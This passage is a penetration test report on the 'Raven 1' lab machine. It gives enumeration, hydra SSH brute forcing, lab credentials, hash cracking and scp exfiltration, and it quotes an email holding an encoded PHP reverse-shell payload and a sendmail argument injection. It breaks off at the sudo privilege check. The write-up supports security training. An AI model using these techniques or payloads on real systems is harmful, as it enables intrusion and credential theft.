OffSec Corps®

Penetration Test Report and Defensive System Hardening Strategy Report

for Raven Industries 17-12-20

performed by

Sam Geron Penetration Tester and Defensive Security Consultant

OffSec Corp Pty Ltd

Executive Suite 23, 39 Cook Rd Centennial Park, NSW, 2021 Australia

Executive Summary

Security Posture

A company's security posture is the company's collective security status. This includes all software and hardware, services, networks, information, vendors, service providers, building security and employee security awareness and practice.

Amongst other strategies, penetration testing is practically the most effective way to verify your company's security posture and be able to make informed security decisions based on relevant, real-time vulnerabilities discovered, and assess business risks.

Offensive security - Red Team services, is the only practical way to inform your company's defence against cyber crime and compromise of intellectual property or business integrity.

Following a penetration test a full defensive report and informed system hardening assessment - Blue Team services, should be provided. A security team is then required to perform a full system hardening, in accordance with either the CSO or CISO and CFO business risk investment decisions.

Summary of Results

OffSec Corps® was contracted by Raven Industries to conduct an internal penetration test in order to determine its vulnerability to attack. OffSec Corps® was tasked with locating and exfiltrating target information and documents, and determining if system level access could be achieved.

A penetration test was conducted against one of the machines in the company's network, hostname - Raven 1. The machine was easily compromised top to bottom with no information provided to us, beyond network access, simulating the level of access of a regular internet user. A vulnerable webserver and wordpress installation were found in the system, as well as two users with low level privileges. However, due to poor security awareness and configuration, both accounts were easily accessed, and one resulted in root level access. Aside from a few simple exploits, hinging mainly on poor passwords, an array of vulnerabilities was discovered. These only existed due to unpatched/out of date applications and OS. This aside, our team has highlighted many effective system hardening practices that will greatly improve the security of the Raven. It is our opinion that a security team review the exploits and vulnerabilities discovered and immediately begin executing recommended mitigations and hardening strategies outlined. With a number of simple and technical strategies, such as security awareness training, secure authentication practices, updating and patching applications and operating systems, restricting visibility and access from the public, and general system hardening, Raven Industries' infrastructure should withstand the next penetration test, and would not be compromised. In all likelihood, there will always still be vulnerabilities that exist, as closing off or locking down a system completely would render it almost unusable, though following the outlined hardening strategies, and regular security tests, these should not lead to exploitation of your company's systems and your company's security posture should remain robust.

Summary details of the penetration test:

Our team was given 4 flags to achieve as part of the procedure to demonstrate attack potential and vulnerability, all of which were achieved and exfiltrated.

The first user – Michael, had a poor password that was his name and was cracked instantly. The second user had his password hash, an encrypted form of a password, stored within an accessible document in the webserver. This was easily accessed from within Michael's account, after searching through webserver configuration files to find it. The webserver's directory structure was publicly visible from a browser, files were accessible to the public, and the full directory tree was easily enumerated from within Linux. Finally, due to poor configuration, the second user – Steven, had been inadvertently given root level access via a core application – python. With this level of access, our team was able to create a hidden superuser with root level

access; open a persistent hidden port for re-entry and whitelist our attacker's IP; we were able to exfiltrate passwords and documents; we had the ability to change the root level password and so on. A threat agent would be able to launch an uncountable number of attacks, from uploading malicious scripts, malware, viruses, trojans etc., to running severe attacks, such as ransomware, in which all the victim's data is encrypted and held ransom.

Contents

Executive Summary	2
Security Posture	2
Summary of Results	2
Contents	3
ATTACK NARRATIVE	8
Summary	8
Netdiscover	9
1. Nmap	9
Full port and service discovery	9
General Aggressive vulnerability scan	9
2. Gobuster	10
Directory scan with gobuster, reveals wordpress:	10
3. WPScan	11
Brute force WordPress in the webserver, with rockyou.txt to reveal 2 users	11
Nmap	12
Further enumerate webserver:	12
Vulnerability scan to individual ports:	12
Port 139:	12
Port 445:	13
Port 22:	14
4. Autorecon	15
Fully enumerate target	15
Local webserver – recon	16
Python3	16
Browser	16
Results of autorecon scans:	16
5. Legion	17
6. Webserver – Inspect for flag 1	18
Inspecting service.html source code at the browser, reveals Flag 1	18
7. Hydra	19
Brute forcing Michael's SSH password	19

8.	SSH – Michael	20
	Flag 2	20
	Communication with a hacker	20
	PHPmailer	20
9.	MySQL	21
,	WordPress Configuration - wp_config.php	21
	MySQL credentials:	22
	Enter MySQL with credentials for root user;	22
	Inspect tables – wp_users to find 2 user hashes;	23
	Export wp_users to text - hashes.txt	23
10.	SCP	24
	Exfiltrate hashes back to host machine	24
11.	John the Ripper	24
	Crack Steven's hash	24
12.	SSH - Steven	25
	SSH into Steven's account with password: pink84	25
13.	Interactive shell	25
	Gain interactive shell with python3	25
	Locate flag 2 again	25
14.	Gaining root	26
	sudo -I shows Steven has root privilege for the python command	26
	Use python interactive shell command with sudo to escalate to Root	26
	Locate flag 4	27
15.	MySQL - Flag 3	28
	Find flag 3 in MySQL	28
16.	SCP	29
	Exfiltrate tables.txt with flags back to host machine	29
	Pull the file from the target machine from within the host using scp -r	29
17.	Post-exploitation	30
	Change root password (not advisable):	30
	Create a new super user	30
	Add x23 to sudoers.tmp with privilege to execute all	30
	Confirmation: x23 has /etc/shadow access	31
	Open a port for re-entry - Port 52695	31
	Create persistent obfuscated high number SSH port in /etc/ssh/sshd_config – port 52695	31
	Login from new port and switch to root	32
	Confirm SSH port	
	Whitelisted attacker IP	32

	Add sshd : <ip addr=""> to /etc/hosts.allow</ip>	32
VU	LNERABILITIES	33
1	L. Exploited Vulnerabilities:	33
2	2. General Vulnerabilities	34
3	3. Port 22	35
2	1. Port 80	36
5	5. PHPMailer	37
6	5. MySQL	38
MI	FIGATIONS and HARDENING	39
1	L. General	39
	1.1 Update OpenSSH to the latest version – 8.3	39
	1.2 Update Apache HTTP to the latest version – 2.4.46.	39
	1.3 Update Samba to the latest version – 4.13.3	39
	1.4 Monitor SSH.	39
	1.5 Monitor /etc/shadow and /etc/passwd folder	39
	1.6 Monitor failed logins.	39
	1.7 Monitor excessive packets sent.	39
	1.8 Monitor open ports	39
	1.9 Disable service scan details and obfuscate information provided in scan reports	39
	1.11 Block all incoming SSH connections, while whitelisting known IPs.	39
	1.12 Setup an IPS such as Fail2Ban, to blacklist SSH connections after 10 failures.	39
	1.13 Maintain a full backup in case of extreme compromise.	39
	1.14 Remove unnecessary software and services.	40
	1.15 Change default usernames and passwords; and reduce admin account privileges	40
	1.16 Principle of least privilege – restrict privilege wherever possible	40
	1.17 Regularly update and patch OS and applications.	40
	1.18 Implement logging and auditing.	40
	1.19 Review the companies Security Posture and employee education.	40
2	2. Apache HTTP Webserver and Header hardening	41
	2.1 Remove apache version and OS information from scans	41
	2.2 Disable directory listing in httpd.conf in the Web_Server/conf directory.	41
	2.3 Remove viewing permissions	41
	Enable logging in mod_log_config	41
	2.4 Limit HTTP Request Methods to GET, HEAD, POST	41
	2.5 Enable SSL	42
	2.6 Set HTTP Strict Transport Security	42
	2.7 Set the 'Content-Security-Policy' header	42
	2.8 Set the 'X-XSS-Protection' header for older browsers	42

	2.9 Check the header information	42
	2.10 Use secure HTTP headers	42
	2.11 Hide your PHP information	42
	2.12 Enable CSP, Content Security Policy	42
	2.13 Enable HSTS, HTTP Strict Transport Security, forcing HTTPS for secure connections	42
	2.14 X-Content-Type-Options, prevents IME-type sniffing techniques, with nosniff	42
	2.15 X-Frame-Options header	42
	2.16 Secure Session Cookies	42
3.	Password hardening	43
	3.1 Consider using MFA, multi-factor authentication, with hardware keys.	43
	3.2 For SSH logins, require public and private SSH keys.	43
	3.3 Setup minimum requirements for passwords – min. 8 characters, upper and lowercase letters, numbers and special characters.	43
	3.4 Passwords should expire regularly	43
	3.5 Passwords shouldn't be recycled.	43
	3.6 Force password failure timeouts to prevent brute force attacks.	43
	3.7 Obfuscate usernames.	43
4.	MySQL hardening	44
	4.1 Update MySQL to the latest version.	44
	4.2 Remove the Test database	44
	4.3 Remove all anonymous accounts	44
	4.4 Change default port - 3306	44
	4.5 Whitelist and blacklist access	44
	4.6 MySQL should not be run as root	44
	4.7 Remove and disable the MySQL history file	44
	4.8 Disable remote logins	44
	4.9 Disable SHOW DATABASES	44
	4.10 LOAD DATA LOCAL INFILE command	44
	4.11 Change the root account name	45
	4.12 Set the proper file permissions	45
5.	WordPress hardening	45
	5.1 Use a security plugin	45
	5.2 Choose only reputable plugins and themes, beware of insecure plugins	45
	5.3 Update all plugins and themes regularly	45
	5.4 Secure wp-config.php by moving it to a directory above the wordpress installation	45
	5.5 Review file and directory permissions	45
	5.6 Disable the file editor from the admin panel in WordPress.	45
	5.7 Harden passwords and obfuscate usernames.	45
	5.8 Make sure MySQL and PHP are up to date	45

	5.9 Keep a full website backup in case of website is compromised.	. 45
6.	SSH Hardening	. 46
	6.1 Obfuscate SSH Port	. 46
	6.2 Filter Ports	. 46
	6.3 Disable root login	. 47
	6.4 Use SSH keys	. 47
	6.5 Harden passwords and passphrases	. 47
	6.6 Set a scary warning when someone logs in	. 47
	6.7 Block SSH brute force attacks automatically	. 48
	6.8 Remove OpenSSH server on laptops and desktops	. 49
	6.9 Set a low max limit for authentication attempts	. 49
	6.10 Create an email alert for a root login	. 49
	6.11 Keep SSH updated	. 49
7.	Kibana Monitoring	. 50
	7.1 Alerts	. 50
	7.2 Excessive Packets Being sent	. 51
	7.3 Excessive HTTP errors	. 52
	7.4 HTTP Request size monitor	. 53
	7.5 CPU Usage Monitor	54



Enter the Raven

Target Machine: Raven 1

ATTACK NARRATIVE

Summary

- 1. Netdiscover. Uncover all target machines.
- 2. Nmap. Find services running and ports open.
 - 3. **Gobuster**. Install and use to enumerate webserver directories; uncover wordpress.
 - 4. WPScan. Brute force user names
 - 5. Nmap. Enumerate webserver and find vulnerabilities
 - 6. Autorecon. Perform largescale enumeration
 - 7. Legion. Thorough vulnerability scan.
 - 8. Webserver. Inspect to find Flag 1
 - 9. Hydra. Brute force Michael's SSH password
 - 10. **SSH**. Enter Michael's user shell, find Flag 2 and inspect *wp_config.php* for MySQL credentials
 - 11. MySQL. Find and export 2 password hashes.
 - 12. SCP. Exfiltrate hashes for password cracking crack Steven's password.
 - 13. John the Ripper. Crack Steven's hash.
 - 14. SSH. Enter Steven's account.
 - 15. Interactive shell. Gain interactive shell with python.
 - 16. Root access. Gain root using python root vulnerability; and find flag 4.
 - 17. MySQL. Find flag 3.
- 18. SCP. Exfiltrate tables.txt
- 19. Post Exploitation. Hacker adds a hidden superuser



Netdiscover

Used to discover all the machines in the network to find the target.

```
192.168.1.1
                00:15:5d:00:04:0d
                                                   Microsoft Corporation
192.168.1.100
                4c:eb:42:d2:d5:d7
                                        1
                                               42
                                                   Intel Corporate
192.168.1.105
                00:15:5d:00:04:0f
                                        1
                                               42
                                                   Microsoft Corporation
                00:15:5d:00:04:10
                                        1
                                                   Microsoft Corporation
192.168.1.110
                                               42
                                                   Microsoft Corporation
                00:15:5d:00:04:11
                                        1
192.168.1.115
```

```
192.168.1.1 – Gateway

192.168.1.100 – Capstone

192.168.1.105 – ELK server

192.168.1.110 - Target 1 – Raven 1 – our target machine

192.168.1.115 - Target 2 – Raven 2
```

1. Nmap

Full port and service discovery

Used to find all open ports in the target.

```
root@Kali:~# nmap -sV -v -p- 192.168.1.110
```

```
STATE SERVICE
PORT
                            VERSION
22/tcp
                            OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
          open ssh
                            Apache httpd 2.4.10 ((Debian))
80/tcp
          open
                http
                            2-4 (RPC #100000)
111/tcp
          open
                rpcbind
          open
                netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
139/tcp
                netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp
          open
45851/tcp open
                            1 (RPC #100024)
```

General Aggressive vulnerability scan

General check for vulnerability scan, revealed nothing of interest

```
root@Kali:~# nmap -A -vvv 192.168.1.110 -script=vuln
```

2. Gobuster

Directory scan with gobuster, reveals wordpress:

Used to reveal directories in the webserver. Used as recon to find attack options.

```
root@Kali:~# gobuster dir -u "http://192.168.1.110" -w /usr/share/wordlists
/dirb/common.txt
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
                      http://192.168.1.110
                    /usr/share/wordlists/dirb/common.txt
200,204,301,302,307,401,403
gobuster/3.0.1
10s
    Threads:
    Wordlist:
    Status codes:
[+] User Agent:
[+] Timeout:
2020/12/09 21:43:41 Starting gobuster
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/css (Status: 301)
/css (Status: 301)
/fonts (Status: 301)
/index.html (Status: 200)
/img (Status: 301)
/js (Status: 301)
/manual (Status: 301)
/server-status (Status: 403)
/vendor (Status: 301)
/wordpress (Status: 301)
______
2020/12/09 21:43:43 Finished
```

3. WPScan

Brute force WordPress in the webserver, with rockyou.txt to reveal 2 users.

Using wpscan we needed to find usernames and vulnerable plugins. This scan found 2 essential usernames – Michael and Steven.

```
[i] User(s) Identified:

[+] steven
    | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)

| Confirmed By: Login Error Messages (Aggressive Detection)

[+] michael
    | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)

| Confirmed By: Login Error Messages (Aggressive Detection)
```

Nmap

Further enumerate webserver:

Using a http enumeration script, nmap revealed the wordpress directory structure and potential targets in the http port 80.

```
root@Kali:~# nmap --script=http-enum.nse 192.168.1.110
Starting Nmap 7.80 ( https://nmap.org ) at 2020-12-10 01:43 PST
Nmap scan report for 192.168.1.110
Host is up (0.00057s latency).
Not shown: 995 closed ports
       STATE SERVICE
PORT
22/tcp open ssh
80/tcp open http
  http-enum:
    /wordpress/: Blog
    /wordpress/wp-login.php: Wordpress login page.
    /css/: Potentially interesting directory w/ listing on 'apache/2.4.10
debian)
    /img/: Potentially interesting directory w/ listing on 'apache/2.4.10
| /js/: Potentially interesting directory w/ listing on 'apache/2.4.10 (debian)'
    /manual/: Potentially interesting folder
    /vendor/: Potentially interesting directory w/ listing on 'apache/2.4.1
 (debian)'
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 00:15:5D:00:04:10 (Microsoft)
Nmap done: 1 IP address (1 host up) scanned in 4.51 seconds
```

Vulnerability scan to individual ports:

By targeting specific ports with an aggressive vulnerability scan we can get more detailed information.

Port 139

Port 139 scan revealed that Samba is vulnerable to DoS attack.

Port 445:

Port 445 scan revealed a Samba - Denial of Service vulnerability

```
PORT
         STATE SERVICE
                              VERSTON
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
_clamav-exec: ERROR: Script execution failed (use -d to debug)
MAC Address: 00:15:5D:00:04:10 (Microsoft)
Warning: OSScan results may be unreliable because we could not find at leas
t 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: TARGET1
Host script results:
 smb-vuln-ms10-054: false
  smb-vuln-ms10-061: false
  smb-vuln-regsvc-dos:
    VULNERABLE:
    Service regsvc in Microsoft Windows systems vulnerable to denial of ser
vice
The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes
         while working on smb-enum-sessions.
TRACEROUTE
HOP RTT
              ADDRESS
    0.81 ms 192.168.1.110
OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 24.75 seconds
```

Port 22: Port 22 displayed a long list of known, potential vulnerabilities.

root@Kali:~# nmap -A -v --script=vuln -p22 192.168.1.110

```
STATE SERVICE VERSION
22/tcp open ssh
                     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
 _clamav-exec: ERROR: Script execution failed (use -d to debug)
  vulners:
    cpe:/a:openbsd:openssh:6.7p1:
        CVE-2015-5600
                        8.5
                                https://vulners.com/cve/CVE-2015-5600
        EDB-ID:40888
                        7.8
                                https://vulners.com/exploitdb/EDB-ID:40888*
EXPLOIT:
                        7.2
        EDB-ID:41173
                                https://vulners.com/exploitdb/EDB-ID:41173*
EXPLOIT:
                        6.9
        CVE-2015-6564
                                https://vulners.com/cve/CVE-2015-6564
        CVE-2017-15906
                        5.0
                                https://vulners.com/cve/CVE-2017-15906
        SSV:90447
                                https://vulners.com/seebug/SSV:90447
                        4.6
                                                                         *EX
PLOIT*
        EDB-ID:45233
                                https://vulners.com/exploitdb/EDB-ID:45233*
                        4.6
EXPLOIT
        EDB-ID:45210
                        4.6
                                https://vulners.com/exploitdb/EDB-ID:45210*
EXPLOIT
        EDB-ID:45001
                        4.6
                                https://vulners.com/exploitdb/EDB-ID:45001*
EXPLOIT
                                https://vulners.com/exploitdb/EDB-ID:45000*
        EDB-ID:45000
                        4.6
EXPLOIT:
                        4.6
        EDB-ID:40963
                                https://vulners.com/exploitdb/EDB-ID:40963*
EXPLOIT:
                                https://vulners.com/exploitdb/EDB-ID:40962*
        EDB-ID:40962
                        4.6
EXPLOIT
                        4.6
                                https://vulners.com/cve/CVE-2016-0778
        CVE-2016-0778
        CVE-2015-5352
                        4.3
                                https://vulners.com/cve/CVE-2015-5352
        CVE-2016-0777
                                https://vulners.com/cve/CVE-2016-0777
                        4.0
                                https://vulners.com/cve/CVE-2015-6563
        CVE-2015-6563
                        1.9
```

4. Autorecon

Fully enumerate target

Autorecon enumerates with a variety of apps and switch options, exporting into an elaborate directory tree. To navigate reconnaissance files, I setup a webserver to navigate at the browser. Despite this, didn't reveal much more than the previous scans.

```
root@kali:/home/kali# autorecon 192.168.56.104

*) Scanning target 192.168.56.104

[*) Running service detection nmap-full-tcp on 192.168.56.104

[*) Running service detection nmap-quick on 192.168.56.104

[*) Running service detection nmap-quick on 192.168.56.104

[*] [19:28:26] - There are 3 tasks still running on 192.168.56.104

[*] [19:29:26] - There are 3 tasks still running on 192.168.56.104

[*] Service detection nmap-quick on 192.168.56.104

[*] Found ssh on tcp/22 on target 192.168.56.104

[*] Found http on tcp/80 on target 192.168.56.104

[*] Found http on tcp/80 on target 192.168.56.104

[*] Running task tcp/22/sslscan on 192.168.56.104

[*] Running task tcp/22/smap-ssh on 192.168.56.104

[*] Running task tcp/22/smap-ssh on 192.168.56.104

[*] Running task tcp/80/whather on 192.168.56.104

[*] Task tcp/22/sslscan on 192.168.56.104 finished successfully in less than a second

[*] Task tcp/80/sslscan on 192.168.56.104 finished successfully in less than a second

[*] Task tcp/80/curl-index on 192.168.56.104 finished successfully in less than a second

[*] Task tcp/80/curl-index on 192.168.56.104 finished successfully in less than a second

[*] Task tcp/80/curl-index on 192.168.56.104 finished successfully in less than a second

[*] Task tcp/80/curl-orbots on 192.168.56.104 finished successfully in less than a second

[*] Task tcp/80/curl-orbots on 192.168.56.104 finished successfully in less than a second

[*] Task tcp/80/curl-orbots on 192.168.56.104 finished successfully in less than a second

[*] Task tcp/80/curl-orbots on 192.168.56.104

[*] Running task tcp/811/sslscan on 192.168.56.104

[*] Running task tcp/811/sslscan on 192.168.56.104

[*] Task tcp/111/sslscan on 192.168.56.104

[*] Task tcp/111/sslscan on 192.168.56.104 finished successfully in 26 seconds

[*] Task tcp/21/map-ssh on 192.168.56.104 finished successfully in 26 seconds

[*] Task t
```

Local webserver – recon

Opening a local webserver will make it easier to view all the scan results in one place.


Python3

http server port 7777


root@kali:/home/kali/Raven1/results# python3 -m http.server 7777 Serving HTTP on 0.0.0.0 port 7777 (http://0.0.0.0:7777/) ...

Browser

Go to localhost:7777




Results of autorecon scans:



5. Legion

Vulnerability scans with Legion were extremely productive. From the 100 or so vulnerabilities it picked up on port 80 and port 20, roughly a 3rd of those turned out to be legitimate, and an even smaller portion of those require assessment.



6. Webserver – Inspect for flag 1

Inspecting service.html source code at the browser, reveals Flag 1

```
Q Search HTML
 <!DOCTYPE html>
 <html class="no-js" style="display: block;" lang="zxx"> event scroll
 ▶ <head> ••• </head>
 ▼<body style="display: block;">
   ▶ <button id="mobile-nav-toggle" type="button"> ••• </button> event
   > <header id="header" class="header-scrolled"> -- </header>
    <!--#header-->
    <!--start banner Area-->
   > <section id="home" class="banner-area relative"> • </section>
    <!--End banner Area-->
    <!--Start service Area-->
   ▶ <section id="service" class="service-area section-gap"> • </section>
    <!--End service Area-->
    <!--Start feature Area-->
   ><section id="feature" class="feature-area section-gap"> --- </section>
    <!--End feature Area-->
    <!--start footer Area-->
   ▶ <footer class="footer-area section-gap"> ···· </footer>
    <!--End footer Area-->
   <!--flag1{b9bbcb33e11b80be759c4e844862482d}-->
    <script src="js/vendor/jquery-2.2.4.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/u</pre>
    crossorigin="anonymous"></script>
    <script src="js/vendor/bootstrap.min.js"></script>
    <script type="text/javascript" src="https://maps.googleapis.com/maps/a</pre>
    <script src="js/easing.min.js"></script>
    <script src="js/hoverIntent.js"></script>
    <script src="js/superfish.min.js"></script>
    <script src="js/jquery.ajaxchimp.min.js"></script>
    <script src="js/jquery.magnific-popup.min.js"></script>
    <script src="js/owl.carousel.min.js"></script>
    <script src="js/jquery.sticky.js"></script>
```

7. Hydra

Brute forcing Michael's SSH password.

root@kali:/home/kali# hydra -l michael -P /usr/share/wordlists/rockyou.txt 192.168.56.104 -t 4 ssh Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service ore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-12-10 08:21:14
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries
[DATA] attacking ssh://192.168.56.104:22/
[22][ssh] host: 192.168.56.104 login: michael password: michael
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-12-10 08:21:37

8. SSH - Michael

Log into michael with pass: michael

ssh michael@192.168.1.110

Flag 2

```
michael@Raven:/$ locate *flag*.txt
/var/www/flag2.txt
michael@Raven:/$ █
```

Communication with a hacker

Email messages between a sysadmin – www-data and a hacker were discovered.

PHPmailer

Within the email, evidence of PHPmailer service was discovered. This version of PHPmailer – 5.2.17 may be vulnerable to a number of exploits.

```
Received: (from www-data@localhost)
        by Raven.raven.local (8.14.4/8.14.4/Submit) id w7CM4ItE006746
        for xjmZ5"@BEDDT.com; Mon, 13 Aug 2018 08:04:18 +1000
X-Authentication-Warning: Raven.raven.local: www-data set sender to XOHzC72qQ\ using -f
X-Authentication-Warning: Raven.raven.local: Processed from queue /tmp
To: Hacker <admin@vulnerable.com>
Subject: Message from <?php eval(base64_decode('Lyo8P3BocCAvKiovIGVycm9yX3JlcG9ydGluZygwKT
6Ly97JGlwfTp7JHBvcnR9Iik7ICRzX3R5cGUgPSAnc3RyZWFtJzsgfSBpZiAoISRzICYmICgkZiA9ICdmc29ja29wZ
9jYWxsYWJsZSgkZikpIHsgJHMgPSAkZihBRl9JTkVULCBTT0NLX1NUUkVBTSwgU09MX1RDUCk7ICRyZXMgPSBAc29j
ycpOyB9IGlmICghJHMpIHsgZGllKCdubyBzb2NrZXQnKTsgfSBzd2l0Y2ggKCRzX3R5cGUpIHsgY2FzZSAnc3RyZWF
ĬHVucGFjaygiTmxlbiIsICRsZW4pOyAkbGVuID0gJGFbJ2xlbiddOyAkYĬĀ9ICcnOyB3aGlsZSĀoc3RybGVuKCRiKS
ja2V0X3JlYWQoJHMsICRsZW4tc3RybGVuKCRiKSk7IGJyZWFrOyB9IH0gJEdMT0JBTFNbJ21zZ3NvY2snXSA9ICRzO
FsJykpIHsgJHN1aG9zaW5fYnlwYXNzPWNyZWF0ZV9mdW5jdGlvbignJywgJGIpOyAkc3Vob3Npbl9ieXBhc3MoKTsg
X-PHP-Originating-Script: 0:class.phpmailer.php
Date: Mon, 13 Aug 2018 08:04:18 +1000
From: Vulnerable Server <"XOHzC72qQ\" -OQueueDirectory=/tmp -X/var/www/html/JjpDMyXE.php x Message-IP: <6b351caa55de2b69dbc030a3093b065c@192.168.206.131>
X-Mailer: PHPMailer 5.2.17 (https://github.com/PHPMailer/PHPMailer)
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
qPWc
```

9. MySQL

WordPress Configuration - wp_config.php

Within Michael's account, find and use credentials from wp_config.php, located in the webserver wordpress directory, to log into MySQL and access databases.

```
michael@Raven:/var/www/html/wordpress$ ls
index.php posts.txt; tables; tables.txt; wp-admin wp-comments-plicense.txt readme.html tables.txt wp-activate.php wp-blog-header.php wp-config.php
                                                                                   wp-comments-post.php
michael@Raven:/var/www/html/wordpress$ cat wp-config.php
<?php
 * The base configuration for WordPress
 * The wp-config.php creation script uses this file during the
 * installation. You don't have to use the web site, you can
 * copy this file to "wp-config.php" and fill in the values.
 * This file contains the following configurations:
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
   * ABSPATH
 * @link https://codex.wordpress.org/Editing_wp-config.php
 * @package WordPress
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');
/** MySQL hostname */
define('DB_HOST', 'localhost');
```

MySQL credentials:

```
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
```

Enter MySQL with credentials for root user;

```
michael@target1:~$ mysql -u root -p wordpress
Enter password:
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor. Commands end with; or \g.
Your MySQL connection id is 550
Server version: 5.5.60-0+deb8u1 (Debian)

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved
.

Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input stateme nt.

mysql>
```

Inspect tables – wp_users to find 2 user hashes;

Export wp_users to text - hashes.txt

10. SCP

Exfiltrate hashes back to host machine

```
kali@kali:~$ scp -r michael@192.168.56.104:/var/www/html/wordpress/hashes.txt ~/.
michael@192.168.56.104's password:
hashes.txt
kali@kali:~$ ls
alex.txt
                                 michael@192.168.56.104 rockyou.txt
cve-2019-9978.bak.pv
                                                          ryan.txt
                                 mysqlhash2.txt
cve-2019-9978.py
                                                         s99665v
                                                         simple_passwd
                                 mysqlhash.txt
Darkside.pcap
                                 nullbyte.txt
                                                         simple.txt
                                 payload1.txt
                                                         sosimple1.txt
                                 payload.txt
                                                         sosimplestuff
Final-Project-vulns.legion
                                 Pictures
                                                         sosimple.txt
Final-Project-vulns-tool-output Public
                                                         steven_hash
hashes.txt
                                                         Templates
hydra.restore
                                                         test.txt
                                 Raven2
                                                         username
LinEnum.sh
kali@kali:~$ ls hashes.txt
hashes.txt
kali@kali:~$
```

11. John the Ripper

Crack Steven's hash

Leave only the 2 hashes in a text document, after removing salt (\$P\$B), and crack Steven's hash.

```
root@kali:/home/kali# cat hashes.txt
$P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0
$P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/
k3VD9jsxx/loJoqNsURgHiaB23j7W/
jRvZQ.VQcGZlDeiKToCQd.cPw5XCe0
root@kali#
```

Password: pink84

```
root@kali:/home/kali# john hashes.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salt
Remaining 1 password hash
Cost 1 (iteration count) is 8192 for all loade
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other
Almost done: Processing the remaining buffered
Proceeding with wordlist:/usr/share/john/passw
Proceeding with incremental:ASCII
Og 0:01:57:00 3/3 Og/s 23316p/s 23316c/s 2331
Session aborted
root@kali:/home/kali# john hashes.txt --show
?:pink84
```

12. SSH - Steven

SSH into Steven's account with password: pink84

```
root@Kali:~# ssh steven@192.168.1.110
steven@192.168.1.110's password:

The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.
Last login: Wed Jun 24 04:02:16 2020
$ ls
$ pwd
/home/steven
```

13. Interactive shell

Gain interactive shell with python3

```
$ python -c 'import pty; pty.spawn("/bin/sh")'
$ /bin/bash -i
steven@target1:/var/www/html$
```

Locate flag 2 again

```
steven@target1:/$ locate flag
/usr/include/linux/kernel-page-flags.h
/usr/include/linux/tty_flags.h
/usr/include/x86_64-linux-gnu/asm/processor-flags.h
/usr/include/x86_64-linux-gnu/bits/waitflags.h
/usr/lib/python2.7/dist-packages/dns/flags.py
/usr/lib/python2.7/dist-packages/dns/flags.pyc
/usr/lib/x86_64-linux-gnu/perl/5.20.2/bits/waitflags.ph
/usr/lib/x86_64-linux-gnu/samba/libflag-mapping.so.0
/usr/share/doc/apache2-doc/manual/da/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/de/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/en/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/es/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/fr/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/ja/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/ko/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/pt-br/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/tr/rewrite/flags.html
/usr/share/doc/apache2-doc/manual/zh-cn/rewrite/flags.html
/usr/share/man/man3/fegetexceptflag.3.gz
/usr/share/man/man3/fesetexceptflag.3.gz
/var/www/flag2.txt
/var/www/html/wordpress/wp-includes/images/icon-pointer-flag-2x.png
/var/www/html/wordpress/wp-includes/images/icon-pointer-flag.png
steven@target1:/$
```

14. Gaining root

sudo -l shows Steven has root privilege for the python command.

```
steven@target1:/home$ sudo -l
Matching Defaults entries for steven on raven:
    env_reset, mail_badpass,
